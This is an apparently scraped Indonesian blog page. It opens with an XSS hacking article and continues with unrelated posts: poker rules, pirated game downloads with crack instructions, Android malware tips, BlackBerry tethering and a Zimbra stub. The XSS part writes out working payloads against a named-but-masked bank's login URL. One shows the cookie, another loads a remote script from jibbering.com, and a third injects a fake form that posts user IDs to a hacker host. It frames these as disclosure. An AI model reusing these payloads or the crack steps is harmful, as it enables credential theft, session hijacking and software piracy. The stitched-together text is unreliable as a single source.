Kelemahan XSS yang terjadi pada situs Google ini memungkinkan dilakukannyaVirtual Defacement dimana halaman google akan diganti dengan halaman palsu yang dibuat oleh hacker.

Jim Ley membuat halaman input informasi kartu kredit yang seakan-akan dilakukan oleh google, padahal bukan. Pada URL google, Jim Ley menambahkan kode :

L:javascript:javascript:document.appendChild(document.createElement('script')).src='http://jibbering.com/test.js

Kode ini akan membuat script yang berada pada situs lain yaitu jibbering.com/test.js akan dijalankan seakan-akan berasal dari google (http://jibbering.com/2004/10/google.html)

Tidak Hanya Google

Google bukanlah satu-satunya korban dari serangan XSS.

SunTrust Bank, Mastercard, National Westminster dan Wordplay adalah 'klien besar' yang terkekna serangan XSS dan Greenhalgh mempublikasikan tehnik yang digunakan dalam menginjeksi javascript terhadap situs bank yang seharusnya nomor satu dalam hal pengamanan. Kasus-kasus XSS masih terus berlangsung bahkan sampai detik ini dan OWASP ( Open Web Application Security Project ), sebuah organisasi yang mengusulkan diri pada keamanan aplikasi, mengkategorikan XSS sebagai permasalahan utama aplikasi web saat ini.

Situs Bank Lokal Menjadi Korban

Kejadian yang hampir serupa dengan yang dialami oleh Greenhalgh juga saya rasakan. Ceritanya pada saya hendak menggunakan transaksi internet banking (ya, saya adalah pengguna setia layanan ini) dan salah memasukan password. Aplikasi Internet banking menampilkan sebuah pesan/warning tentang kesalahan yang saya lakukan " User ID harus Alpha Numerik/User ID must be Alpha Numeric ".

Yang menarik perhatian saya adalah pesan yang ditampilkan ini, ternyata juga muncul di bagian URL! " https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=User ID harus Alpha Numerik/User ID must be Alpha Numeric ".

Suatu teknik yang biasa digunakan oleh programmer untuk mengirimkan parameter kepada sebuah fungsi dan sebuah teknik yang biasanya bermasalah dalam hal kelemahan injeksi script atau kelemahan XSS!

Kejadian ini terjadi lebih dari 2 tahun yang lalu atau tepatnya pada bulan april 2007 dan telah saya laporkan kepada pihak bank melalui SMS ( 081811**** ) yang di jawab akan dilakukan investigasi

Sampai tulisan ini saya buat kembali, ternyata permasalahan ini sama sekali tidak diperbaiki, mungkin karena dianggap bukan sebagai suatu kelemahan dan bukan sesuatu yang berbahaya.

Benarkah demikian? Saya akan memperlihatkan kepada Anda apa yang bisa saya lakukan akibat dari kesalahan semacam ini dan silahkan Anda nilai sendiri.

Teknik Mencari Kelemahan XSS

Untuk melihat kemungkinan serangan XSS, saya melihat source code yang dihasilkan pada saat warning aplikasi ini ditampilkan. Pada baris 230, terlihat kalimat yang ditampilkan berada didalam sebuah variable yaitu " err " dan variable ini berada didalam blok kode <script>.

Untuk membuktikan adanya kelemahan XSS, saya mencoba memasukkan java script standard yang akan menampilkan cookie dengan memodifikasi URL-nya menjadi :

https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';alert(document.cookie);</script>

Dengan merubah URL ini, kini bila dilihat melalui source code halaman yang menampilkan pesan akan berubah menjadi :

<script>

var err='';allert(document.cookie);</script>

alert(err);

iBankForm.action='login.jsp';

iBankForm.submit();

</script>

Harapan saya sebenarnya aksi ini akan gagal karena mengharapkan adanya proteksi tambahan seperti pemblokiran terhadap karakter khusus atau penghapusan kata<script> yang umum dilakukan, ternyata dugaan saya keliru. Tidak ada proteksi sama sekali terhadap potensi XSS ini dan aksi ini berhasil dengan baik yang dibuktikan dengan menampilkan cookie yang berjalan dengan lancar.

Percobaan ini membuktikan bahwa pencurian cookie memungkinkan untuk terjadi sehingga memungkinkan adanya serangan session hijacking atau pengambil alihan suatu koneksi oleh hacker. Ada beberapa hal yang cukup menarik untuk diperhatikan dalam kasus ini.

Pertama, penggunaan https atau sebuah koneksi yang secure ternyata tidak berguna dalam kasus ini. Kedua, penggunaan sertifikat yang biasanya dikatakan sebagai jaminan keamanan ternyata juga tidak berguna bahkan bisa dikatakan menjebak. Saya akan menunjukan betapa tidak bergunanya sertifikat ini pada percobaan sederhana berikutnya.

Virtual Defacement

Selanjutnya, saya mencoba membuktikan serangan yang lebih serius yaitu dengan melakukan virtual defacement atau perubahan halaman secara virtual. Dikatakan sebagai virtual karena saya tidak benar-benar merubah tampilan halaman web bank tersebut namun hanya merubahnya secara virtual melalui injeksi perintah.

Kenapa berbahaya? Karena saya akan menambahkan sebuah input box baru yang seakan-akan disediakan oleh situs bank dan yang lebih berbahaya adalah ketika pengguna mengisi text box yang telah disediakan dan menekan tombol submit. Hasil inputan ini akan dikirimkan ke alamat hacker atau alamat yang telah saya tentukan, bukan ke alamat bank, padahal sertifikat situs tersebut masih asli lho !

Untuk menambahkan form text box dan tombol submit, saya tidak perlu menggunakan java script, cukup dengan tag HTML. URL yang telah dimodifikasi, akan terlihat sebagai berikut :

https://ibank.*****.com/authentication.do?value(actions)=logout&value(strError)=';</script><form method="post" action="http//www.hacker.com/simpan.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--

Modifikasi URL akan membuat source code halaman login situs bank berubah menjadi :

<script> var err='';</script><form method="post" action="http//www.*******.com/a.aspx"><p>User ID<input type="text" name"T1"><input type="Submit" value="Submit" name="B1></p></form><!--' alert(err);iBankForm.action='login.jsp'; iBankForm.submit(); </script> </body> </html><script>

Setelah memasukkan URL yang telah dimodifikasi, terlihat sebuah text box berada di bawah halaman utama bank ! Apa artinya ini ? Virtual Defacement telah berhasil dilakukan! Teknik mendeface tanpa merusak dan merubah file yang ada didalam web server!

Kemungkinan Aksi Lanjutan

Saya sudah menunjukkan kepada Anda bagaimana mengambil cookie dengan java script dan bagaimana melakukan virtual defacement dengan menambahkan sebuah text box yang baru. Teknik Virtual Defacement ini cukup menarik karena bisa dilakukan walaupun situs menggunakan HTTPS dan ada yang lebih menarik lagi.

Biasanya, Anda selalu diwanti oleh pihak agar mengecek keabsahan sertifikat ( dalam contoh ini adalah cybertrust ) yang digunakan untuk memastikan keaslian situs yang digunakan. Pada kasus ini sertifikat yang Anda lihat adalah asli dan sah namun ketika Anda memasukkan data kedalam text box dan mengklik tombol submit, informasi Anda akan dikirimkan kepada hacker! Kaget ? Teknik ini bisa dikombinasikan dengan teknik penipuan/social engineering seperti dengan mengirimkan email kepada korban dan menginformasikan kepadanya tentang undian berhadiah atau memintanya mengganti password melalui form palsu yang telah disediakan oleh Hacker. Saya yakin, banyak sekali yang ahli dalam hal Social Engineering dan tidak perlu lagi saya berikan contoh-contoh lainnya. Kini, apakah menurut Anda serangan XSS berbahaya atau tidak? Siapa yang harus bertanggung jawab seandainya terjadi korban dalam kasus semacam ini?

Serangan XSS yang saya tunjukkan pada artikel ini, masih sangat sederhana dan tidak melakukan deface pada halaman secara total seperti yang pernah ditunjukkan olehJim Ley dan Greenhalgh namun bukan berarti tidak mungkin untuk dilakukan.

Dengan menginjeksi javascript, bahkan bisa dibuat fungsi keylogger, scanning network, pencurian password lokal dan lain sebagainya. Jadi, akibat dari permasalahan XSS ini jelas sangat serius bila di eksploitasi oleh orang yang tepat.

Sekedar info :

" XSS merupakan singkatan dari Cross Site Scripting memang tampak sedikit aneh. Singkatan dari Cross Site Scripting seharusnya CSS namun singkatan ini ternyata memberikan masalah bagi pengguna CSS telah digunakan oleh Cascading Style Sheets, suatu bahasa yang digunakan untuk mengatur tampilan halaman suatu dokumen web. CSS sendiri sangat populer karena menawarkan fleksibilitas pengaturan tampilan dan akibatnya tentu saja, akan membingungkan pengguna apabila terdapat dua singkatan yang sama untuk menandakan dua hal yang berbeda sama sekali. Akhirnya, Cross Site Scripting harus mengalah dan menggunakan singkatan XSS "CARA NGEHACK WEBSITE DENGAN XSS

CARA MAIN POKER DI FACEBOOK

2012-12-09T09:11:00.002+07:00

Rasanya anda akan dianggap ketinggalan zaman jika belum memainkan game yang satu ini. Zynga Poker atau biasa juga disebut Texas Hold'em Poker, permainan yang sangat fenomenal saat ini. Hampir semua kalangan memainkannya, terutama anak laki-laki. Biasanya kalo udah ngumpul tuh yang dibicarain pasti masalah Poker. Intinya Poker emang lagi difavoritkan untuk sekarang ini.

Tak heran memang, mengingat banyaknya orang yang menggunakan Facebook pasti sebagian besar diantaranya suka memainkan Poker juga. Apalagi permainannya dapat menghasilkan uang bagi mereka yang memiliki banyak chip, pastinya akan menambah asik permainan ini.

Jika anda memang sudah tertarik untuk memainkan permainan Poker ini, ada baiknya anda membaca sedikit panduan yang saya jabarkan berikut ini, agar lebih mempermudah anda ketika bermain nanti dan tak terkesan 'gaptek' diantar teman-teman anda yang sudah lebih dulu memainkan Poker.

Cara Bermain Poker Di Facebook Untuk Pemula

Ketika anda baru pertama kali memainkan Poker, barangkali akan sedikit bingung dengan tampilan dari game ini. Kalau tampilannya aja sudah bingung, apalagi tata cara bermainnya?

Sebenarnya pada sebelah bawah button check CALL ANY (kotak kecil gambar 2 kartu) pada saat anda memainkan ZYNGA POKER Facebook), sudah terdapat list kartunya tinggal di klik saja. Namun untuk mempermudah kita ada baiknya simak panduan singkat dan istilah yang digunakan permainan POKER pada Facebook dibawah ini :

Beberapa istilah dasar :

Check = kita ikut berapapun taruhan yang ada.
Raise = menaikkan taruhan kita.
Fold = berarti menyerah, dan chip tidak terpotong dalam biaya taruhan di meja.
Lobby = tempat kita memilih room yang ingin kita masuki untuk bermain poker.
Call Any = dengan menekan tombol ini artinya kita ikut atas berapapun taruhan dimeja.

Cara Main / Menganalisa kartu pada ZYNGA POKER Facebook :

Kita mulai dari kartu biasa ;
Apabila anda tidak memiliki kartu jadi dan lawan anda pun tidak memiliki kartu jadi (straight, flush, pair, dll..) maka pemenang akan ditentukan melalui kartu tertinggi, contohnya kartu J & 10 kalah dengan kartu 3 & As. Karena As merupakan kartu tertinggi.

Kartu Pair (kartu berpasangan) :
Kartu Pair berarti memiliki kartu kembar (berpasangan) baik yang kita pegang maupun dengan pasangan kartu yang dikeluarkan oleh bandar. Contoh kartu Pair yaitu 2 dan 2, 5 dan 5 dsb, dan pemegang One Pair tertinggilah yang menang. One Pair kalah dengan Two Pair contohnya 2 2 dan 4 4, namun Two Pair kalah dengan Three of Kind atau kembar tiga contohnya 5 5 5.

Kartu Straight (Kartu berurutan) :
Kartu Straight adalah kartu berurutan, contohnya As 2 3 4 5 atau 10 J Q K As atau juga 5 6 7 8 9

Kartu Flush ( Semua kartu sama ) :
Kartu Flush terjadi apabila kita memiliki 5 kartu dengan jenis yang sama, berapapun angkanya, contohnya 2 4 5 J As wajik semua.

Full House ( 3 kartu angka sama + 1 pair ) :
Kartu Full House adalah gabungan dari one pair dengan three of kind, contohnya 2 2 J J J

Four Of Kind ( 4 kartu yang sama angkanya ) :
Kartu kita dinyatakan Four of Kind apabila memiliki 4 kartu kembar, contohnya 8 8 8 8 As

Straight Flush (berurutan dan semua kartu sama) :
Straight Flush adalah gabungan dari kartu Straight atau kartu berurutan dan kartu flush, contohnya kita mempunyai kartu 5 6 7 8 9 keriting

Royal Flush (berurutan sampai As dan semua kartu sama) :
Royal Flush adalah kartu Straight Flush dengan nilai yang lebih tinggi, contohnya lawan memiliki 5 6 7 8 9 keriting dan kita memiliki 10 J Q K As hati.

Kiranya dengan memahami cara membaca kartu diatas, anda dapat lebih jeli dan melihat peluang kemenangan kartu anda. Tentunya hal utama sangat tergantung dari kartu yang ada ditangan anda + hoki.

Selamat bermain Poker, happy

FREE DOWNLOAD BATTLEFIELD 3

2012-12-04T16:55:00.002+07:00

Info-
Battlefield 3-RELOADED | Penerbit: Electronic Arts | Pengembang: EA Digital Illusions Creative Entertainment | Genre: Shooterr | Platform: PC | Ukuran: 13,6 GB | Rilis Tanggal: 24/10/2011
Description:
Siapkan untuk perang skala penuh dengan Battlefield 3, evolusi besar ketiga dari franchise pertempuran panjang-berjalan secara online. Menggunakan kekuatan Frostbite 2 teknologi mesin permainan, Battlefield 3 memberikan kualitas visual yang superior, rasa besar skala, audio besar, kerusakan dinamis dan animasi karakter sangat hidup. Seperti jagoan peluru oleh, dinding runtuh, dan ledakan melemparkan Anda ke tanah, medan terasa lebih hidup dan interaktif daripada sebelumnya.
Dalam Battlefield 3, pemain masuk ke peran elit Marinir AS di mana mereka akan mengalami jantung berdebar-misi single player dan multiplayer kompetitif tindakan mulai di lokasi yang beragam dari seluruh dunia termasuk Eropa, Timur Tengah dan Amerika Utara.
Fitur:
Frostbite 2 - Battlefield 3 memperkenalkan Frostbite 2, teknologi yang luar biasa yang mengambil animasi, kehancuran, pencahayaan, skala dan audio ke ketinggian baru.
Rasakan Pertempuran - Rasakan dampak peluru dan ledakan, tarik teman-teman Anda jatuh ke dalam keselamatan, dan mount senjata Anda pada hampir setiap bagian dari medan.
Kendaraan Warfare tak tertandingi - Pengalaman kendaraan perang terbaik online akan lebih baik dengan sonic boom pas sebagai judul jet tempur lineup mengesankan kendaraan darat, udara dan laut.
Memerangi perkotaan - Ambil perjuangan untuk tempat ikon dan tak terduga di Amerika Serikat, Timur Tengah, dan Eropa termasuk jalan-jalan sesak, pusat-pusat kota metropolitan, dan terbuka, kendaraan ramah lanskap saat Anda berjuang melalui perang besok.
Fitur lain kembali fan favorit termasuk 64 pemain untuk PC dan rawan.
Persyaratan minimum:
OS: Windows Vista atau Windows 7
Prosesor: Core 2 Duo 2,4 GHz atau 2,7 GHz Althon X2
RAM: 2GB
Graphic card: DirectX 10 atau 11 Nvidia kompatibel atau AMD ATI card, ATI Radeon 3870 atau lebih tinggi, Nvidia GeForce 8800 GT atau lebih tinggi.
Graphics kartu memori: 512 MB
Kartu suara: DirectX kartu suara compatibl
Hard drive: 15 GB untuk versi 10 GB disk atau untuk versi digital.
Instal Catatan:
1. Unrar
2. Membakar Atau Gunung Gambar
3. Instal Game. Redistributables sesuai kebutuhan di _Installer Dir Setelah itu
4. Kopi Selama Konten Cracked Dari The Dir Crack pada DVD-2 Untuk Direktori Instalasi Anda
5. Bermain Game
Battlefield Fix:
* Ada gamebug yang dapat menyebabkan kecelakaan permainan jika dipasang di direktori yang berisi karakter khusus, seperti As (TM).
* Jika Anda Perhatikan masalah, mengubah nama direktori instalasi ke sesuatu yang tidak mengandung karakter tersebut dan semua masalah Anda pergi.

Download Link : : http://www.mediafire.com/?v5ewb9c9tr1ps
Password:worldfree4u.com

CARA MENANGKAL VIRUS ANDROID

2012-12-04T16:47:00.000+07:00

Cara Menangkal Virus di Android

Seiring dengan perkembangan yang sangat pesat tentang tablet, handshet, dan gadget-gadget berbasis Android, membuat banyak pihak memanfaatkan perkembangan yang sangat pesat ini untuk tujuan-tujuan yang tidak baik. Diantaranya adalah para penyebar malware atau virus di Android.
Bagaimana malware bisa ditemukan di gadget atau handshet berbasis Android ini?Biasanya program jahat ini bersarang di Android Market atau Google Play Store. Tetapi tidak lantas pengguna mendownload aplikasi yang sebenarnya adalah virus atau Malware itu. Malware ini biasanya bersembunyi atau menyamar sebagai aplikasi lain yang banyak di lirik atau di download oleh para pengguna Android. Atau menyamar menjadi sebuah aplikasi yang sangat menggoda pengguna dengan aplikasi yang menjurus ke gambar atau video gadis-gadis seksi.
Bagaimana supaya kita terbebas dari aplikasi Malware yang menyamar sebagai aplikasi yang sedang booming atau memiliki banyak pengguna yang mendownload? Berikut ini adalah tips untuk terhindar dari aplikasi jebakan malware:
1. Perhatikan siapa developer atau pembuat aplikasi tersebut.
Penjahat dunia maya secara teratur selalu mengikuti aplikasi apa yang sedang populer, kemudian mereka membuat tiruannya. Misalnya malicious aplikasi untuk game terkenal Angry Birds, besutan Rovio Mobile, pernah dibuat tipuan malicious-nya dari developer Logastrod.
Untuk memastikan si pembuat aplikasi memiliki reputasi, cek lah bagaimana si developer memberikan catatan pada aplikasi yang pernah dibuat. Jika developer tersebut miskin informasi, lebih baik Anda abaikan untuk menginstal aplikasinya.

Perhatikan nama pembuatnya. Gambar di atas si pembuat adalah Rovio Mobile (pembuat resmi Angry Birds).

Untuk gambar di atas, nama pembuatnya beda, yakni Logastrod. Padahal game yang ditawarkan sama. Jadi jelas, ini adalah game Angry Birds palsu.
2. Perhatikan Rating & Review dari User
Pada aplikasi yang asli biasanya mendapatkan banyak rating dari beberapa reviewer di dalam Android market, sedangkan aplikasi palsu hanya memberikan kurang dari dua puluh rating.

Semakin banyak rating dan review yang diberikan, artinya Anda memasuki halaman aplikasi yang dijamin benar.

Sejatinya, tips singkat di atas tak hanya bisa diterapkan untuk menangkal serbuan malware di Android Market, melainkan juga bisa dijalankan pada platform lain. Semisal BlackBerry, iOS, Windows, dan lainnya.

Jadi, jangan sampai kita salah menginstall aplikasi untuk Android kesayangan kita. Salah-salah malah ternyata malware atau program jahat yang kita download. Demikian beberapa tips untuk pengguna Android. Semoga informasinya bermanfaat .

FREE DOWNLOAD DIABLO 3

2012-12-02T20:00:00.001+07:00

Free Download Game Diablo 3 For PC (Gratis) - Hai sobat lbs terutama sobat lbs pecinta game pc.. Kali ini Lbs blog akan memberikan info game pc terbaru 2012. Game Pc ini adalah Game Diablo 3 yang baru saya diluncurkan tanggal Tanggal 15 Mei 2012. Game yang baru dirilis ini (Game Diablo 3) adalah game dariBlizzard yang patut dicoba, Karena Diablo 3 merupakan salah satu game bisa membuat anda layaknya bermain game secara nyata.

Game Diablo 3 PC adalah action role-playing gameyang menitik beratkan pada Action. Game Diablo 3 PC memiliki alur game yang sangat menarik dengan tantangan yang berbeda tiap tingkatnya..

Free Download Game Diablo 3 PC (Gratis)

System requirements (Game Diablo 3 PC):

Operating system: Windows XP (SP3) / Windows Vista (SP1) / Windows 7;
Processor: Intel Core 2 Duo 1.8 GHz or equivalent AMD;
Memory: 1GB (XP) / 2GB (Vista / Win 7);
Graphics Card: NVIDIA ® GeForce ® 7800 GT or ATI Radeon ™ X1950 Pro and newer cards;
Sound Card: Sound device compatible with DirectX ® 9.0
Free space on hard disk: 15 GB

Free Download Game Diablo 3 PC (Gratis)

Features (Game Diablo 3 PC):

Jelajahi Sanctuary - sebuah dunia tiga dimensi yang realistis Diablo III dalam gaya fantasi Gothic.
Berkelahi dengan pasukan roh jahat dari Underworld: yang Anda inginkan tidak hanya dikonversi kelas akrab dari game sebelumnya - seperti barbar besar - tetapi juga benar-benar baru (naprime, tukang sihir).
Obrushte kemarahannya pada monster dan menggunakan melawan musuh-musuh dunia: mengatur perangkap cerdik, melemparkan benda pada musuh, bersembunyi dari serangan balasan untuk pohon.
Putar di Diablo III dengan teman Anda! Berkat modernisasi permainan platform Battle.net multiplayer menjadi lebih energik dan lebih jenuh, dan koneksi - lebih stabil.

Untuk download Game Diablo 3 bisa di lihat pada link dibawah ini :

Youtube Video Diablo III

File 13,8 GB Full Version

You Sure To Download?

File 13,8 GB

Sory!, Your Download This Premium Accound

You Sure To Download?

CARA MEMBUAT BLACKBERRY MENJADI MODEM UNTUK PC - LAPTOP

2012-12-02T16:06:00.000+07:00

Cara membuat BlackBerry menjadi Modem untuk PC – Laptop

Berikut ini adalah step by step agar BlackBerry kita dapat berfungsi sebagai modem untuk Laptop atau PC Desktop kita. Caranya mudah sekali… Cara ini lebih simple dari pada pakeShark Modem BB juga bisa ( http://www.mobishark.com/SharkModem_v2.0.zip )

Pertama : Download BlackBerry Desktop Software versi 6.0.

http://us.blackberry.com/apps-software/desktop/

Kedua : Lakukan Installasi hingga selesai.

Ketiga : Jalankan aplikasi BlackBerry Desktop Software telah kita install.

Keempat : Klik “MOBILE INTERNET” yang ada di bagian kiri bawah aplikasi ini.

Kelima : Setelah terlihat “Connected“, maka kita bisa lakukan testing koneksi dengan PING ke Google ataupun bisa langsung gunakan Browser…

Mudah sekali bukan ??? Selamat mencoba.

FREE DOWNLOAD GAME FORD RACING FOR PC

2012-12-02T16:02:00.002+07:00

Free Download Game Ford Racing 3 For PC

In less than a century, Ford and its vehicles have revolutionized all aspects of the world in which we live. Experience the thrill of racing these awesome machines ranging from the Model T to the 2005 Mustang GT to the F150 Pickup truck and test your skill on challenging courses including raceway, rally and off-road competitions.

requirement
Operating System: Microsoft Windows 98/ME/2000/XP
Processor: Pentium III 800MHz processor (or equivalent)
RAM: 128MB
Video Card: 32MB supported DirectX9 video card
Hard Drive: 400MB of free space

download file size : 360Mb

Free Download Game Ford Racing 3 For PC Gratis

STEP BY STEP INSTALLASI ZIMBRA 8 MAIL SERVER

2012-12-02T15:59:00.003+07:00

Step By Step Installasi Zimbra 8 Mail Server

Berkut ini saya sharing Step By Step Installasi Zimbra 8 Mail Server.

About these ads